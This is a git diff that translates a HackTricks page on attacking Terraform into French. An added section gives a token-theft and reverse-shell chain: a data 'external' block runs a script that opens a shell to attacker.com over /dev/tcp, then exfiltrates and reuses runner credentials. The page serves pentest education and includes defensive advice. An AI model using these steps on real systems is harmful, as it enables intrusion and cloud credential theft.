mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md'] to fr
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
|
||||
[Selon la documentation :](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform est un **outil d'infrastructure en tant que code** qui vous permet de définir à la fois des **ressources cloud et sur site** dans des fichiers de configuration lisibles par l'homme que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un flux de travail cohérent pour provisionner et gérer toute votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants de bas niveau comme le calcul, le stockage et les ressources réseau, ainsi que des composants de haut niveau comme les entrées DNS et les fonctionnalités SaaS.
|
||||
HashiCorp Terraform est un **outil d'infrastructure en tant que code** qui vous permet de définir à la fois des **ressources cloud et sur site** dans des fichiers de configuration lisibles par l'homme que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un flux de travail cohérent pour provisionner et gérer toute votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants de bas niveau comme les ressources de calcul, de stockage et de mise en réseau, ainsi que des composants de haut niveau comme les entrées DNS et les fonctionnalités SaaS.
|
||||
|
||||
#### Comment fonctionne Terraform ?
|
||||
|
||||
@@ -28,15 +28,15 @@ Le flux de travail principal de Terraform se compose de trois étapes :
|
||||
|
||||
Il vous suffit d'installer terraform sur votre ordinateur.
|
||||
|
||||
Voici un [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) et voici la [meilleure façon de télécharger terraform](https://www.terraform.io/downloads).
|
||||
Ici, vous avez un [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) et ici, vous avez la [meilleure façon de télécharger terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE dans Terraform : empoisonnement de fichier de configuration
|
||||
|
||||
Terraform **n'a pas de plateforme exposant une page web ou un service réseau** que nous pouvons énumérer, donc, la seule façon de compromettre terraform est de **pouvoir ajouter/modifier des fichiers de configuration terraform** ou de **pouvoir modifier le fichier d'état terraform** (voir le chapitre ci-dessous).
|
||||
|
||||
Cependant, terraform est un **composant très sensible** à compromettre car il aura **un accès privilégié** à différents emplacements afin de fonctionner correctement.
|
||||
Cependant, terraform est un **composant très sensible** à compromettre car il aura **un accès privilégié** à différents emplacements pour fonctionner correctement.
|
||||
|
||||
La principale façon pour un attaquant de pouvoir compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**.
|
||||
Le principal moyen pour un attaquant de compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**.
|
||||
|
||||
En fait, il existe des solutions qui **exécutent automatiquement terraform plan/apply après qu'une PR** soit créée, comme **Atlantis** :
|
||||
|
||||
@@ -128,11 +128,11 @@ Dans le cas où vous avez un accès en écriture sur les fichiers d'état terraf
|
||||
|
||||
### RCE dans Terraform : empoisonnement de fichier de configuration
|
||||
|
||||
Il est possible de [créer un fournisseur personnalisé](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) et simplement remplacer l'un des fournisseurs dans le fichier d'état terraform par le malveillant ou ajouter une ressource factice référencant le fournisseur malveillant.
|
||||
Il est possible de [créer un fournisseur personnalisé](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) et de simplement remplacer l'un des fournisseurs dans le fichier d'état terraform par le malveillant ou d'ajouter une ressource factice référencant le fournisseur malveillant.
|
||||
|
||||
Le fournisseur [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) s'appuie sur la recherche et arme ce principe. Vous pouvez ajouter une ressource factice et indiquer la commande bash arbitraire que vous souhaitez exécuter dans l'attribut `command`. Lorsque l'exécution de `terraform` est déclenchée, cela sera lu et exécuté à la fois dans les étapes `terraform plan` et `terraform apply`. Dans le cas de l'étape `terraform apply`, `terraform` supprimera la ressource factice du fichier d'état après avoir exécuté votre commande, nettoyant après lui. Plus d'informations et une démonstration complète peuvent être trouvées dans le [dépôt GitHub hébergeant le code source de ce fournisseur](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Pour l'utiliser directement, incluez simplement ce qui suit à n'importe quelle position du tableau `resources` et personnalisez les attributs `name` et `command` :
|
||||
Pour l'utiliser directement, il suffit d'inclure ce qui suit à n'importe quelle position du tableau `resources` et de personnaliser les attributs `name` et `command` :
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -199,17 +199,91 @@ data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
## Terraform Cloud speculative plan RCE et exfiltration de credentials
|
||||
|
||||
Ce scénario abuse des runners de Terraform Cloud (TFC) lors des plans spéculatifs pour pivoter vers le compte cloud cible.
|
||||
|
||||
- Conditions préalables :
|
||||
- Voler un token Terraform Cloud depuis une machine de développeur. Le CLI stocke les tokens en texte clair à `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Le token doit avoir accès à l'organisation/espace de travail cible et au moins la permission `plan`. Les espaces de travail soutenus par VCS bloquent `apply` depuis le CLI, mais permettent toujours des plans spéculatifs.
|
||||
|
||||
- Découvrir les paramètres de l'espace de travail et de VCS via l'API TFC :
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- Déclencher l'exécution de code pendant un plan spéculatif en utilisant la source de données externe et le bloc "cloud" de Terraform Cloud pour cibler l'espace de travail soutenu par VCS :
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
}
|
||||
|
||||
data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
Exemple de rsync.sh pour obtenir un shell inversé sur le TFC runner :
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Exécutez un plan spéculatif pour exécuter le programme sur le coureur éphémère :
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Énumérer et exfiltrer les identifiants cloud injectés depuis le runner. Pendant les exécutions, TFC injecte les identifiants du fournisseur via des fichiers et des variables d'environnement :
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Fichiers attendus dans le répertoire de travail du runner :
|
||||
- GCP :
|
||||
- `tfc-google-application-credentials` (configuration JSON de la fédération d'identité de charge de travail)
|
||||
- `tfc-gcp-token` (jeton d'accès GCP à courte durée de vie)
|
||||
- AWS :
|
||||
- `tfc-aws-shared-config` (configuration d'assumption de rôle d'identité web/OIDC)
|
||||
- `tfc-aws-token` (jeton à courte durée de vie ; certaines organisations peuvent utiliser des clés statiques)
|
||||
|
||||
- Utilisez les identifiants à courte durée de vie en dehors de la bande pour contourner les portes d'accès VCS :
|
||||
|
||||
GCP (gcloud) :
|
||||
```bash
|
||||
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
|
||||
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
|
||||
gcloud config set project <PROJECT_ID>
|
||||
```
|
||||
AWS (AWS CLI):
|
||||
```bash
|
||||
export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Avec ces identifiants, les attaquants peuvent créer/modifier/détruire des ressources directement en utilisant des CLIs natives, contournant ainsi les flux de travail basés sur PR qui bloquent `apply` via VCS.
|
||||
|
||||
- Conseils défensifs :
|
||||
- Appliquez le principe du moindre privilège aux utilisateurs/équipes et jetons TFC. Auditez les adhésions et évitez les propriétaires trop nombreux.
|
||||
- Restreignez la permission `plan` sur les espaces de travail sensibles soutenus par VCS lorsque cela est possible.
|
||||
- Appliquez des listes blanches de fournisseurs/sources de données avec des politiques Sentinel pour bloquer `data "external"` ou des fournisseurs inconnus. Consultez les conseils de HashiCorp sur le filtrage des fournisseurs.
|
||||
- Préférez OIDC/WIF aux identifiants cloud statiques ; traitez les runners comme sensibles. Surveillez les exécutions de plans spéculatifs et les sorties inattendues.
|
||||
- Détectez l'exfiltration des artefacts d'identifiants `tfc-*` et alertez sur l'utilisation suspecte de programmes `external` pendant les plans.
|
||||
|
||||
|
||||
## Outils d'Audit Automatiques
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk offre une solution complète de scan Infrastructure as Code (IaC) qui détecte les vulnérabilités et les erreurs de configuration dans Terraform, CloudFormation, Kubernetes et d'autres formats IaC.
|
||||
Snyk propose une solution complète de scan pour l'Infrastructure as Code (IaC) qui détecte les vulnérabilités et les erreurs de configuration dans Terraform, CloudFormation, Kubernetes et d'autres formats IaC.
|
||||
|
||||
- **Fonctionnalités :**
|
||||
- Scan en temps réel pour les vulnérabilités de sécurité et les problèmes de conformité.
|
||||
- Intégration avec les systèmes de contrôle de version (GitHub, GitLab, Bitbucket).
|
||||
- Demandes de tirage de correction automatisées.
|
||||
- Conseils détaillés de remédiation.
|
||||
- Conseils détaillés pour la remédiation.
|
||||
- **Inscription :** Créez un compte sur [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
@@ -221,7 +295,7 @@ snyk iac test /path/to/terraform/code
|
||||
|
||||
**Checkov** est un outil d'analyse de code statique pour l'infrastructure en tant que code (IaC) et également un outil d'analyse de composition logicielle (SCA) pour les images et les packages open source.
|
||||
|
||||
Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration de sécurité et de conformité à l'aide d'une analyse basée sur des graphes.
|
||||
Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration de sécurité et de conformité à l'aide d'une analyse basée sur des graphes.
|
||||
|
||||
Il effectue une [analyse de composition logicielle (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) qui est une analyse des packages open source et des images pour les vulnérabilités et expositions communes (CVE).
|
||||
```bash
|
||||
@@ -230,10 +304,10 @@ checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
D'après les [**docs**](https://github.com/terraform-compliance/cli) : `terraform-compliance` est un cadre de test léger, axé sur la sécurité et la conformité, contre terraform pour permettre la capacité de test négatif pour votre infrastructure-as-code.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` est un cadre de test léger, axé sur la sécurité et la conformité, contre terraform pour permettre la capacité de test négatif pour votre infrastructure-as-code.
|
||||
|
||||
- **conformité :** Assurez-vous que le code implémenté respecte les normes de sécurité, vos propres normes personnalisées
|
||||
- **développement dirigé par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ?
|
||||
- **développement piloté par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ?
|
||||
- **portable :** installez-le simplement depuis `pip` ou exécutez-le via `docker`. Voir [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pré-déploiement :** il valide votre code avant qu'il ne soit déployé
|
||||
- **facile à intégrer :** il peut s'exécuter dans votre pipeline (ou dans des hooks git) pour garantir que tous les déploiements sont validés.
|
||||
@@ -248,7 +322,7 @@ terraform-compliance -f /path/to/folder
|
||||
```
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec utilise l'analyse statique de votre code terraform pour repérer les configurations incorrectes potentielles.
|
||||
D'après les [**docs**](https://github.com/aquasecurity/tfsec) : tfsec utilise l'analyse statique de votre code terraform pour repérer les configurations incorrectes potentielles.
|
||||
|
||||
- ☁️ Vérifie les configurations incorrectes sur tous les principaux (et certains mineurs) fournisseurs de cloud
|
||||
- ⛔ Des centaines de règles intégrées
|
||||
@@ -277,11 +351,11 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
|
||||
Dans les [**docs**](https://github.com/tenable/terrascan) : Terrascan est un analyseur de code statique pour l'Infrastructure as Code. Terrascan vous permet de :
|
||||
|
||||
- Scanner sans effort l'infrastructure as code pour des erreurs de configuration.
|
||||
- Surveiller l'infrastructure cloud provisionnée pour des changements de configuration qui introduisent un dérive de posture, et permet de revenir à une posture sécurisée.
|
||||
- Scanner sans effort l'infrastructure en tant que code pour des erreurs de configuration.
|
||||
- Surveiller l'infrastructure cloud provisionnée pour des changements de configuration qui introduisent une dérive de posture, et permet de revenir à une posture sécurisée.
|
||||
- Détecter des vulnérabilités de sécurité et des violations de conformité.
|
||||
- Atténuer les risques avant de provisionner une infrastructure cloud native.
|
||||
- Offrir la flexibilité de s'exécuter localement ou de s'intégrer à votre CI\CD.
|
||||
- Offrir la flexibilité de fonctionner localement ou de s'intégrer à votre CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
@@ -292,5 +366,13 @@ brew install terrascan
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user